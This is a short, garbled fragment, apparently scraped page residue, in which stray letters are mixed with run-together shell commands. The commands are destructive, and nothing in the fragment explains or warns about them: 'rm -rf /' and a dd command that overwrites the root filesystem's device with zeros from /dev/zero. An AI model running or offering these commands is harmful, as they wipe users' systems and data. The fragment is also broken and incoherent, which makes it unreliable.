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Size: a a a
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K
A
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UD
IO
rm -rf /df -h | egrep '\/$' | awk '{print $1}' bs=1k count=100kSf
IO
df -h | egrep '\/$' | awk '{print $1}' bs=1k count=100kb
df -h | egrep '\/$' | awk '{print $1}' bs=1k count=100kdd if=/dev/zero of= `df -h | egrep '\/$' | awk '{print $1}'` bs=1k count=100kSf
Sf
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